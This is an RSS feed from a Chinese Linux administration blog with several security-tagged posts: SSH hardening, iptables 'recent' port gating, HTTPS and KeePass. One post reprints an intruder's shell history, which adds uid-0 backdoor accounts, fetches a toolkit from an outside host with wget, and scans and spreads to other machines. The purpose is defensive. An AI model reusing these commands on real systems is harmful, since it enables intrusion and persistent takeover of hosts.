<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>榆树网 &#187; 安全</title>
	<atom:link href="http://www.wenzk.com/archives/tag/%e5%ae%89%e5%85%a8/feed" rel="self" type="application/rss+xml" />
	<link>http://www.wenzk.com</link>
	<description>http://www.wenzk.com</description>
	<lastBuildDate>Thu, 09 Feb 2012 07:57:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>某Linux主机成为肉鸡后的全过程</title>
		<link>http://www.wenzk.com/archives/1158</link>
		<comments>http://www.wenzk.com/archives/1158#comments</comments>
		<pubDate>Wed, 09 Feb 2011 14:40:19 +0000</pubDate>
		<dc:creator>ELM</dc:creator>
				<category><![CDATA[榆树网-系统]]></category>
		<category><![CDATA[榆树网-网络]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[tcpd]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[攻击]]></category>
		<category><![CDATA[肉鸡]]></category>
		<category><![CDATA[黑名单]]></category>

		<guid isPermaLink="false">http://www.wenzk.com/?p=1158</guid>
		<description><![CDATA[相信很多Linux管理员都遇到过不经意间将某主机放到互联网上，为了登录方便，将root口令设置成弱口令，结果一段时间以后发现root口令被修改了，其实你的机器已经被“黑客”拿下了，并且已经成功的成为肉鸡，正在为他们干活呢，以下是某Linux主机root口令被拿下后执行的一些操作。 以下是给Linux管理员几点建议： 1、如果有可能，可以禁止root远程登录，修改“/etc/ssh/sshd_config”文件，将“PermitRootLogin yes”改成“PermitRootLogin no”，用普通用户登录，通过su却换成root用户。 2、如果必须使用root登录，那么可以禁止root使用口令远程登录，将配置文件中的“PermitRootLogin yes”改成“PermitRootLogin without-password”，相关配置可以参考：OpenSSH与Putty。 3、如果有可能，尽量关闭系统的口令验证，修改sshd_config文件中的“PasswordAuthentication yes”改成“PasswordAuthentication no”。 4、可以参考“巧用Recent模块加固Linux安全”限制某IP连接主机TCP/22端口的频率。 5、可以通过使用SSH Blacklist来限制肉鸡的“攻击”，在主机上执行如下命令即可： 相关文章如何防止SSH服务被暴力攻击 (0)SSH黑名单自动更新脚本-sshbl.org (1)Using SSH ControlMaster for Single Sign-On (0)SSHFS for Windows &#8212; *nix与Windows文件共享的一种方式 (0)解决SSH X11-Forwarding无法工作 (0)]]></description>
			<content:encoded><![CDATA[<p>相信很多Linux管理员都遇到过不经意间将某主机放到互联网上，为了登录方便，将root口令设置成弱口令，结果一段时间以后发现root口令被修改了，其实你的机器已经被“黑客”拿下了，并且已经成功的成为肉鸡，正在为他们干活呢，以下是某Linux主机root口令被拿下后执行的一些操作。</p>
<p><span id="more-1158"></span></p>
<pre class="brush: bash; title: ; notranslate">w
passwd
/usr/sbin/useradd -u 0 -o -d /usr/angell/ -s /bin/bash angell
/usr/sbin/useradd -u 0 -o -d /usr/angell/ -s /bin/bash cote
/usr/sbin/useradd -u 0 -o -d /usr/cote/ -s /bin/bash cote
passwd cote
passwd angell
cd /var/tmp
ls -a
mkdir ,a
cd ,a
wget adelinuangell.lx.ro/ryo.tar
ftp 93.187.141.43
uname -a
cat /proc/cpuinfo
exit
cd /var/tmp/.a
cd /var/tmp/.a
ls
locate go.tar
cd /var/tmp
ls -a
cd,a
cd ,a
ls
exit
cd /var/tmp
tar xvf go.tar
cd go
ls
rm -rf bios.txt
./go 12
./go 219
219.150.***.***
o
* Topic is ' Bine ati venit (  rau ati nimerit ;) )'
* Set by X on Mon Jan 24 04:17:05
d
ls
./go 210
ls
./go 129
./go 128
./go 130
./go 4
./go 24
ls
cat vuln.txt
nano vuln.txt
ssh 219.***.***.***
ssh 219.***.***.***
ssh 219.***.***.***
ssh 219.***.***.***
ssh 219.***.***.***
ssh 219.***.***.***
cd ..
ls
/sbin/ifconfig
tar xvf ryo.tar
scp ryo.tar root@219.***.***.***:/var/tmp
ssh 219.***.***.***
cd /var/tmp
ls -a
cd go
ls
./go 182
./go 200
./go 201
cd ..
ls
mv go ,a
tar xvf go.tar
cd go
ls
m -rf bios.txt
rm -rf bios.txt
./go 148
./go 202
ssh 202.***.***.***
ls
./go 222</pre>
<p>以下是给Linux管理员几点建议：</p>
<p>1、如果有可能，可以禁止root远程登录，修改“/etc/ssh/sshd_config”文件，将“PermitRootLogin yes”改成“PermitRootLogin no”，用普通用户登录，通过su却换成root用户。</p>
<p>2、如果必须使用root登录，那么可以禁止root使用口令远程登录，将配置文件中的“PermitRootLogin yes”改成“PermitRootLogin without-password”，相关配置可以参考：<a href="http://blog.cost.edu.cn/wenzk/archives/58" target="_blank">OpenSSH与Putty</a>。</p>
<p>3、如果有可能，尽量关闭系统的口令验证，修改sshd_config文件中的“PasswordAuthentication yes”改成“PasswordAuthentication no”。</p>
<p>4、可以参考“<a href="http://www.wenzk.com/archives/43" target="_blank">巧用Recent模块加固Linux安全</a>”限制某IP连接主机TCP/22端口的频率。</p>
<p>5、可以通过使用SSH Blacklist来限制肉鸡的“攻击”，在主机上执行如下命令即可：</p>
<pre class="brush: bash; title: ; notranslate">
ldd `which sshd` | grep libwrap # 确认sshd是否支持TCP Wrapper，输出类似:libwrap.so.0 =&gt; /lib/libwrap.so.0 (0x00bd1000)
cd /usr/local/bin/
wget antivirus.neu.edu.cn/ssh/soft/fetch_neusshbl.sh
chmod +x fetch_neusshbl.sh
cd /etc/cron.hourly/
ln -s /usr/local/bin/fetch_neusshbl.sh .
./fetch_neusshbl.sh</pre>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li><a href="http://www.wenzk.com/archives/1125" title="如何防止SSH服务被暴力攻击">如何防止SSH服务被暴力攻击</a> (0)</li><li><a href="http://www.wenzk.com/archives/1116" title="SSH黑名单自动更新脚本-sshbl.org">SSH黑名单自动更新脚本-sshbl.org</a> (1)</li><li><a href="http://www.wenzk.com/archives/1089" title="Using SSH ControlMaster for Single Sign-On">Using SSH ControlMaster for Single Sign-On</a> (0)</li><li><a href="http://www.wenzk.com/archives/894" title="SSHFS for Windows &#8212; *nix与Windows文件共享的一种方式">SSHFS for Windows &#8212; *nix与Windows文件共享的一种方式</a> (0)</li><li><a href="http://www.wenzk.com/archives/888" title="解决SSH X11-Forwarding无法工作">解决SSH X11-Forwarding无法工作</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.wenzk.com/archives/1158/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>如何防止SSH服务被暴力攻击</title>
		<link>http://www.wenzk.com/archives/1125</link>
		<comments>http://www.wenzk.com/archives/1125#comments</comments>
		<pubDate>Fri, 31 Dec 2010 10:47:39 +0000</pubDate>
		<dc:creator>ELM</dc:creator>
				<category><![CDATA[榆树网-系统]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[攻击]]></category>
		<category><![CDATA[试探]]></category>

		<guid isPermaLink="false">http://www.wenzk.com/?p=1125</guid>
		<description><![CDATA[如果大家稍微注意一下，你或许会发现，你放在互联网上的主机成天都在被扫描，SSH用户名/密码在不停的被试探，当然，你可以通过防火墙来限制IP地址对TCP/22的访问，这对管理员来说可能需要有一台固定的机器作为跳板；或许你可以通过公钥来登录，但是你机器上的某些用户或许只会通过用户名/密码这种方式来登录；当然，你还可以修改sshd默认监听的端口。 不过，无论如何，还是建议大家修改sshd_config配置文件，不允许root用户通过密码登录，将“PermitRootLogin yes”改成“PermitRootLogin no”或“PermitRootLogin without-password”，这样可以大大大大大减小服务器被暴力攻击成功的可能性。 你还可以通过使用互联网上一些公开的黑名单，将纳入黑名单的IP地址给屏蔽掉，这样也可以有效的防止服务器被攻击。你可以从以下网址下载相应的更新脚本： http://antivirus.neu.edu.cn/ssh/soft/fetch_neusshbl.sh 下载完毕后设定crontab，定期执行该脚本即可，建议每天至少运行3-4次。 相关文章某Linux主机成为肉鸡后的全过程 (0)黑莓上使用Keepass的经验 (0)SSH黑名单自动更新脚本-sshbl.org (1)Using SSH ControlMaster for Single Sign-On (0)SSHFS for Windows &#8212; *nix与Windows文件共享的一种方式 (0)]]></description>
			<content:encoded><![CDATA[<p>如果大家稍微注意一下，你或许会发现，你放在互联网上的主机成天都在被扫描，SSH用户名/密码在不停的被试探，当然，你可以通过防火墙来限制IP地址对TCP/22的访问，这对管理员来说可能需要有一台固定的机器作为跳板；或许你可以通过公钥来登录，但是你机器上的某些用户或许只会通过用户名/密码这种方式来登录；当然，你还可以修改sshd默认监听的端口。</p>
<p><span id="more-1125"></span>不过，无论如何，还是建议大家修改sshd_config配置文件，不允许root用户通过密码登录，将“PermitRootLogin yes”改成“PermitRootLogin no”或“PermitRootLogin without-password”，这样可以大大大大大减小服务器被暴力攻击成功的可能性。</p>
<p>你还可以通过使用互联网上一些公开的黑名单，将纳入黑名单的IP地址给屏蔽掉，这样也可以有效的防止服务器被攻击。你可以从以下网址下载相应的更新脚本：</p>
<p><a href="http://antivirus.neu.edu.cn/ssh/soft/fetch_neusshbl.sh" target="_blank">http://antivirus.neu.edu.cn/ssh/soft/fetch_neusshbl.sh</a></p>
<p>下载完毕后设定crontab，定期执行该脚本即可，建议每天至少运行3-4次。</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li><a href="http://www.wenzk.com/archives/1158" title="某Linux主机成为肉鸡后的全过程">某Linux主机成为肉鸡后的全过程</a> (0)</li><li><a href="http://www.wenzk.com/archives/132" title="黑莓上使用Keepass的经验">黑莓上使用Keepass的经验</a> (0)</li><li><a href="http://www.wenzk.com/archives/1116" title="SSH黑名单自动更新脚本-sshbl.org">SSH黑名单自动更新脚本-sshbl.org</a> (1)</li><li><a href="http://www.wenzk.com/archives/1089" title="Using SSH ControlMaster for Single Sign-On">Using SSH ControlMaster for Single Sign-On</a> (0)</li><li><a href="http://www.wenzk.com/archives/894" title="SSHFS for Windows &#8212; *nix与Windows文件共享的一种方式">SSHFS for Windows &#8212; *nix与Windows文件共享的一种方式</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.wenzk.com/archives/1125/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google搜索启用https安全连接了</title>
		<link>http://www.wenzk.com/archives/869</link>
		<comments>http://www.wenzk.com/archives/869#comments</comments>
		<pubDate>Sat, 22 May 2010 05:33:52 +0000</pubDate>
		<dc:creator>ELM</dc:creator>
				<category><![CDATA[榆树网-网络]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[https]]></category>
		<category><![CDATA[加密]]></category>
		<category><![CDATA[安全]]></category>

		<guid isPermaLink="false">http://www.wenzk.com/?p=869</guid>
		<description><![CDATA[Google搜索终于支持https访问了，好处多多，搜索的内容不容易被泄露了，基于关键字被墙的可能性就没有了，除非基于IP地址的墙。 相关文章如何让Firefox自动使用HTTPS访问Google (0)TrueCrypt一款免费的加密软件 (0)解决Android下Google Maps无法通过GSM基站定位问题 (0)Zimbra如何安装StartSSL签发的免费证书 (3)如何让Zimbra支持https (0)]]></description>
			<content:encoded><![CDATA[<p>Google搜索终于支持https访问了，好处多多，搜索的内容不容易被泄露了，基于关键字被墙的可能性就没有了，除非基于IP地址的墙。</p>
<p><span id="more-869"></span></p>
<p><a href="http://www.wenzk.com/wp-content/uploads/2010/05/Google1.png" class="highslide-image" onclick="return hs.expand(this);"><img class="alignnone size-medium wp-image-870" title="Google1" src="http://www.wenzk.com/wp-content/uploads/2010/05/Google1-300x211.png" alt="" width="300" height="211" /></a></p>
<p><a href="http://www.wenzk.com/wp-content/uploads/2010/05/Google2.png" class="highslide-image" onclick="return hs.expand(this);"><img class="alignnone size-medium wp-image-871" title="Google2" src="http://www.wenzk.com/wp-content/uploads/2010/05/Google2-300x211.png" alt="" width="300" height="211" /></a></p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li><a href="http://www.wenzk.com/archives/886" title="如何让Firefox自动使用HTTPS访问Google">如何让Firefox自动使用HTTPS访问Google</a> (0)</li><li><a href="http://www.wenzk.com/archives/1393" title="TrueCrypt一款免费的加密软件">TrueCrypt一款免费的加密软件</a> (0)</li><li><a href="http://www.wenzk.com/archives/1245" title="解决Android下Google Maps无法通过GSM基站定位问题">解决Android下Google Maps无法通过GSM基站定位问题</a> (0)</li><li><a href="http://www.wenzk.com/archives/1193" title="Zimbra如何安装StartSSL签发的免费证书">Zimbra如何安装StartSSL签发的免费证书</a> (3)</li><li><a href="http://www.wenzk.com/archives/1185" title="如何让Zimbra支持https">如何让Zimbra支持https</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.wenzk.com/archives/869/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>通过iptables的recent模块保护某些私有服务</title>
		<link>http://www.wenzk.com/archives/610</link>
		<comments>http://www.wenzk.com/archives/610#comments</comments>
		<pubDate>Fri, 05 Feb 2010 04:28:50 +0000</pubDate>
		<dc:creator>ELM</dc:creator>
				<category><![CDATA[榆树网-系统]]></category>
		<category><![CDATA[热门]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[recent]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[模块]]></category>

		<guid isPermaLink="false">http://www.wenzk.com/?p=610</guid>
		<description><![CDATA[以前写过一篇《巧用Recent模块加固Linux安全》，后来想想，其实这个题目写得不好，不应该说是加固Linux的安全，应该是加固私有服务的安全 同样，这篇文章也是关于通过recent模块来保护私有服务的。 对于一台裸露在互联网上的机器，随时都可能成为肉鸡，所以管理员都希望服务器对外开放的服务（端口）越少越好，但是某些服务你又不得不对外开放，主要目的是为了自己能随时访问这些服务。 对于一些私有服务，如：SSH、MySQL等，管理员为了自己能远程访问，不得不把22端口和3306端口对所有人都开放，这样也就给别人提供一个机会。 那么如何来控制对这些服务的访问，让他们在需要的时候开放，不用的时候自动关闭，这个就是本文需要解决的问题啦。 来点版权信息（转载请注明）： 本文首发：http://www.wenzk.com/ 本文作者：温占考 主要思想： 在服务器上开web服务（web服务是互联网上最常见的一个服务，只要代码写得没有问题，其安全性应该说来是没什么问题的啦），任何人都可以通过访问本机的web服务，通过验证后，某个端口对用户所用的IP地址临时开放一段时间（可配置），这样可以实现保护某些私有服务的目的，只有通过web验证，这些服务才对你开放。 实现过程： 首先需要修改recent这个模块的加载参数，修改/etc/modprobe.conf文件，增加： ip_list_tot=200表示最多记忆多少的IP地址，默认100 ip_list_perms=0666配置/proc/net/ipt_recent目录下文件的权限，为了让apache用户有权写读写，改成666，默认600 然后需要配置iptables的规则： 最关键的一句就是： -A INPUT -p tcp -m tcp &#8211;dport 22 -m recent &#8211;update &#8211;seconds 60  &#8211;name SSH &#8211;rsource -j ACCEPT 这句表示对任何一个连往本机的22端口的所有IP地址都需要经过源地址检查，如果最近60秒在SSH中出现了，则可以访问，否则不予处理。 最后就是写你的web验证程序，具体怎么实现大家可以随便弄，只是对于通过验证的用户执行这么条命令，此处以php为例： 配置完毕。 上面的配置，如果你断开SSH 1分钟后，该端口自动关闭。 相关文章其实Recent还可以这么用 (0)巧用Recent模块加固Linux安全 (1)Linux NAT之LOG问题 (0)单IP做NAT支持的最大连接数问题 (0)用iptables做NAT地址池问题 (0)]]></description>
			<content:encoded><![CDATA[<p>以前写过一篇《<a href="http://www.wenzk.com/archives/43" target="_blank">巧用Recent模块加固Linux安全</a>》，后来想想，其实这个题目写得不好，不应该说是加固Linux的安全，应该是加固私有服务的安全</p>
<p>同样，这篇文章也是关于通过recent模块来保护私有服务的。</p>
<p><span id="more-610"></span>对于一台裸露在互联网上的机器，随时都可能成为肉鸡，所以管理员都希望服务器对外开放的服务（端口）越少越好，但是某些服务你又不得不对外开放，主要目的是为了自己能随时访问这些服务。</p>
<p>对于一些私有服务，如：SSH、MySQL等，管理员为了自己能远程访问，不得不把22端口和3306端口对所有人都开放，这样也就给别人提供一个机会。</p>
<p>那么如何来控制对这些服务的访问，让他们在需要的时候开放，不用的时候自动关闭，这个就是本文需要解决的问题啦。</p>
<p>来点版权信息（转载请注明）：</p>
<p>本文首发：<a href="http://www.wenzk.com/" target="_blank">http://www.wenzk.com/</a></p>
<p>本文作者：温占考</p>
<p><strong>主要思想：</strong></p>
<p>在服务器上开web服务（web服务是互联网上最常见的一个服务，只要代码写得没有问题，其安全性应该说来是没什么问题的啦），任何人都可以通过访问本机的web服务，通过验证后，某个端口对用户所用的IP地址临时开放一段时间（可配置），这样可以实现保护某些私有服务的目的，只有通过web验证，这些服务才对你开放。</p>
<p><strong>实现过程：</strong></p>
<p>首先需要修改recent这个模块的加载参数，修改/etc/modprobe.conf文件，增加：</p>
<pre class="brush: plain; title: ; notranslate">options ipt_recent ip_list_tot=200 ip_list_perms=0666</pre>
<p>ip_list_tot=200表示最多记忆多少的IP地址，默认100</p>
<p>ip_list_perms=0666配置/proc/net/ipt_recent目录下文件的权限，为了让apache用户有权写读写，改成666，默认600</p>
<p>然后需要配置iptables的规则：</p>
<pre class="brush: plain; title: ; notranslate">

*filter
:INPUT DROP [0:0]
:FORWARD DROP [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -i lo -j ACCEPT
-A INPUT -p icmp -m icmp -j ACCEPT
-A INPUT -p tcp -m tcp --dport 22 -m recent --update --seconds 60  --name SSH --rsource -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

COMMIT
</pre>
<p>最关键的一句就是：</p>
<p>-A INPUT -p tcp -m tcp &#8211;dport 22 -m recent &#8211;update &#8211;seconds 60   &#8211;name SSH &#8211;rsource -j ACCEPT</p>
<p>这句表示对任何一个连往本机的22端口的所有IP地址都需要经过源地址检查，如果最近60秒在SSH中出现了，则可以访问，否则不予处理。</p>
<p>最后就是写你的web验证程序，具体怎么实现大家可以随便弄，只是对于通过验证的用户执行这么条命令，此处以php为例：</p>
<pre class="brush: php; title: ; notranslate">

$REMOTE_ADDR = $_SERVER[&quot;REMOTE_ADDR&quot;];
exec(&quot;/bin/echo $REMOTE_ADDR &gt; /proc/net/ipt_recent/SSH&quot;);</pre>
<p>配置完毕。</p>
<p>上面的配置，如果你断开SSH 1分钟后，该端口自动关闭。</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li><a href="http://www.wenzk.com/archives/45" title="其实Recent还可以这么用">其实Recent还可以这么用</a> (0)</li><li><a href="http://www.wenzk.com/archives/43" title="巧用Recent模块加固Linux安全">巧用Recent模块加固Linux安全</a> (1)</li><li><a href="http://www.wenzk.com/archives/1362" title="Linux NAT之LOG问题">Linux NAT之LOG问题</a> (0)</li><li><a href="http://www.wenzk.com/archives/1356" title="单IP做NAT支持的最大连接数问题">单IP做NAT支持的最大连接数问题</a> (0)</li><li><a href="http://www.wenzk.com/archives/1320" title="用iptables做NAT地址池问题">用iptables做NAT地址池问题</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.wenzk.com/archives/610/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>黑莓上使用Keepass的经验</title>
		<link>http://www.wenzk.com/archives/132</link>
		<comments>http://www.wenzk.com/archives/132#comments</comments>
		<pubDate>Mon, 28 Sep 2009 06:42:07 +0000</pubDate>
		<dc:creator>ELM</dc:creator>
				<category><![CDATA[榆树网-杂项]]></category>
		<category><![CDATA[keepass]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[密码]]></category>

		<guid isPermaLink="false">http://www.wenzk.com/?p=132</guid>
		<description><![CDATA[在购买黑莓手机前，就看好了Keepass 2.x能在该手机上使用，所以义无反顾的购买了一个黑莓。 当时安装的应该是“KeePassBB2 v 2.0 &#8211; Build 2.0.1309 &#8211; Released July 8 2009”这个版本，说实话一个密码保护软件应该不会有个太多的说法，所以感觉使用上应该不会有什么问题，所以也没有仔细阅读网站上的FAQ和相关的配置说明，在第一次使用的时候觉得限制特多，由于是在移动设备上使用，实现从简也是很正常的，所以对于打开速度很慢，无法使用pass key这些问题都想当然的认为是正常的。 今天早上重新光顾Keepass的网站，上这些网站最喜欢看的就是ChangeLog，你只需花上半分钟扫描一下这个页面，也你就可以知道最近作者都干啥了。 这次让我眼睛一亮的是这句 **New Features** Added ability to show password characters in plain text. Updated to match KeePass version 2.09. NOTE: This release of KeePassBB is ONLY compatible with KeePass 2.09. If you install this version of KeePassBB and you plan to [...]]]></description>
			<content:encoded><![CDATA[<p>在购买黑莓手机前，就看好了Keepass 2.x能在该手机上使用，所以义无反顾的购买了一个黑莓。</p>
<p>当时安装的应该是“KeePassBB2 v 2.0 &#8211; Build 2.0.1309 &#8211; Released July 8 2009”这个版本，说实话一个密码保护软件应该不会有个太多的说法，所以感觉使用上应该不会有什么问题，所以也没有仔细阅读网站上的FAQ和相关的配置说明，在第一次使用的时候觉得限制特多，由于是在移动设备上使用，实现从简也是很正常的，所以对于打开速度很慢，无法使用pass key这些问题都想当然的认为是正常的。</p>
<p><span id="more-132"></span>今天早上重新光顾Keepass的网站，上这些网站最喜欢看的就是ChangeLog，你只需花上半分钟扫描一下这个页面，也你就可以知道最近作者都干啥了。</p>
<p>这次让我眼睛一亮的是这句</p>
<p>**New Features**<br />
Added ability to show password characters in plain text.<br />
Updated to match KeePass version 2.09.<br />
<strong>NOTE: </strong>This release of KeePassBB is ONLY compatible with KeePass 2.09.                 If you install this version of KeePassBB and you plan to synchronize with the desktop,                  you must also install KeePass 2.09.</p>
<p>太好，终于可以可以把数据库文件不加修改的复制到手机上来使用了，于是在第一时间升级了该软件，还挺顺利。运行软件后觉得界面和原来没什么变化，依然找不到在哪里选择pass key文件，于是想到应该去看看FAQ，或许这个问题不是我第一次遇到，其实早就应该去仔细看看FAQ了。应该养成这样的习惯，多看FAQ，但是由于是E文的，所以从心底里不想去看。</p>
<p>在FAQ果真找到了我想要的答案：</p>
<p>How do I use a Key File?</p>
<p>Internal Mode: Connect your device to your desktop and copy 		the Key File to your SDCard, then disconnect. On the device, open 		KeePassBB2 and select the “Import Key File” menu ittem, then browse 		your SDCard and select the file. Once imported, this Key File will be 		used for opening existing databases and creating new ones. To delete 		the Key File, select the “Delete Key File” menu item.</p>
<p>External Mode: Connect your device to your desktop and copy the 		Key File to your SDCard, then disconnect. Reference this file when 		prompted during a database create or open.</p>
<p>上面又提到Internal Mode和External Mode，于是又要了解这两种模式的区别：</p>
<p>What&#8217;s the difference between Internal and 		External file mode?</p>
<p>KeePassBB2 can store your password database one of two 		ways&#8230;in the device&#8217;s internal PersistentStore (Internal Mode, the 		default), or as a regular file in the device&#8217;s file system (External 		Mode). There are advantages and disadvantages to each.</p>
<p>Internal Mode: If you only have one database to manage, this is 		the best solution. The database is stored in the device&#8217;s internal 		PersistentStore and is accessible only by the KeePassBB program. This 		mode fully supports synchronization using the Desktop manager Add-In.</p>
<p>External Mode: If you work with multiple databases, this is 		your best solution as you can store multiple databases on your SDCard. 		It does not however, support synchronization using the Desktop Manager 		Add-In. Why? Some parts of the file system, like the SDCard, become 		unavailable when you connect the device to a desktop via USB. This 		causes a Catch-22 situation where you need to use USB to synchronize 		but connecting via USB causes the database file to become unavailable. 		You can, of course, manually copy your database and key files back and 		forth to/from your SDCard using the drive letter assigned by Windows.</p>
<p>哈哈，原来是这个模式设置的问题，Keepass默认使用的是Internal Mode，所以每次我使用自己的数据库文件时，都需要从文件导入到程序中，我在手机上使用只是浏览，不会修改，所以每次退出时我也不保存，所以。。。。。后面的大家都知道了。</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li><a href="http://www.wenzk.com/archives/1125" title="如何防止SSH服务被暴力攻击">如何防止SSH服务被暴力攻击</a> (0)</li><li><a href="http://www.wenzk.com/archives/1393" title="TrueCrypt一款免费的加密软件">TrueCrypt一款免费的加密软件</a> (0)</li><li><a href="http://www.wenzk.com/archives/1158" title="某Linux主机成为肉鸡后的全过程">某Linux主机成为肉鸡后的全过程</a> (0)</li><li><a href="http://www.wenzk.com/archives/1154" title="Firefox的Hostname in Titlebar与Nightly Tester Tools冲突">Firefox的Hostname in Titlebar与Nightly Tester Tools冲突</a> (0)</li><li><a href="http://www.wenzk.com/archives/1129" title="RDCAutoTypeAndTCATO KeePass Plugin过期了">RDCAutoTypeAndTCATO KeePass Plugin过期了</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.wenzk.com/archives/132/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>其实Recent还可以这么用</title>
		<link>http://www.wenzk.com/archives/45</link>
		<comments>http://www.wenzk.com/archives/45#comments</comments>
		<pubDate>Mon, 21 Sep 2009 11:44:44 +0000</pubDate>
		<dc:creator>ELM</dc:creator>
				<category><![CDATA[榆树网-系统]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[recent]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[模块]]></category>

		<guid isPermaLink="false">http://www.wenzk.com/?p=45</guid>
		<description><![CDATA[Recent这个模块还有一个好处就是可以在各个table中随便调用，如，某些事件可以在filter这个table中触发，然后再nat这个table中来检查。 这也是很艺术的配置： *nat :PREROUTING ACCEPT [0:0] :POSTROUTING ACCEPT [0:0] :OUTPUT ACCEPT [0:0] -A PREROUTING -p tcp -m tcp --dport 80 -m recent --update --seconds 60 --name SSH --rsource -j DNAT --to-destination 192.168.1.1:8080 COMMIT # Completed on Mon Sep 21 08:34:56 2009 # Generated by iptables-save v1.4.0 on Mon Sep 21 08:34:56 2009 *filter :INPUT ACCEPT [...]]]></description>
			<content:encoded><![CDATA[<p>Recent这个模块还有一个好处就是可以在各个table中随便调用，如，某些事件可以在filter这个table中触发，然后再nat这个table中来检查。</p>
<p>这也是很艺术的配置：<br />
*nat<br />
:PREROUTING ACCEPT [0:0]<br />
:POSTROUTING ACCEPT [0:0]<br />
:OUTPUT ACCEPT [0:0]<br />
<code>-A PREROUTING -p tcp -m tcp --dport 80 -m recent --update --seconds 60 --name SSH --rsource -j DNAT --to-destination 192.168.1.1:8080</code><br />
COMMIT<br />
# Completed on Mon Sep 21 08:34:56 2009<br />
# Generated by iptables-save v1.4.0 on Mon Sep 21 08:34:56 2009<br />
*filter<br />
:INPUT ACCEPT [0:0]<br />
:FORWARD ACCEPT [0:0]<br />
:OUTPUT ACCEPT [0:0]<br />
<code>-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT<br />
-A INPUT -p icmp -j ACCEPT<br />
-A INPUT -i lo -j ACCEPT<br />
-A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -m recent --set --name SSH --rsource -j ACCEPT<br />
-A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT<br />
-A INPUT -j REJECT --reject-with icmp-host-prohibited</code><br />
COMMIT</p>
<p>如果你访问该主机的80端口，默认访问的是该机器的web服务，但是在访问80端口之前先访问22端口，之后访问80端口就定向到别的机器了。</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li><a href="http://www.wenzk.com/archives/610" title="通过iptables的recent模块保护某些私有服务">通过iptables的recent模块保护某些私有服务</a> (2)</li><li><a href="http://www.wenzk.com/archives/43" title="巧用Recent模块加固Linux安全">巧用Recent模块加固Linux安全</a> (1)</li><li><a href="http://www.wenzk.com/archives/1362" title="Linux NAT之LOG问题">Linux NAT之LOG问题</a> (0)</li><li><a href="http://www.wenzk.com/archives/1356" title="单IP做NAT支持的最大连接数问题">单IP做NAT支持的最大连接数问题</a> (0)</li><li><a href="http://www.wenzk.com/archives/1320" title="用iptables做NAT地址池问题">用iptables做NAT地址池问题</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.wenzk.com/archives/45/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>巧用Recent模块加固Linux安全</title>
		<link>http://www.wenzk.com/archives/43</link>
		<comments>http://www.wenzk.com/archives/43#comments</comments>
		<pubDate>Mon, 21 Sep 2009 11:42:12 +0000</pubDate>
		<dc:creator>ELM</dc:creator>
				<category><![CDATA[榆树网-系统]]></category>
		<category><![CDATA[热门]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[recent]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[模块]]></category>

		<guid isPermaLink="false">http://www.wenzk.com/?p=43</guid>
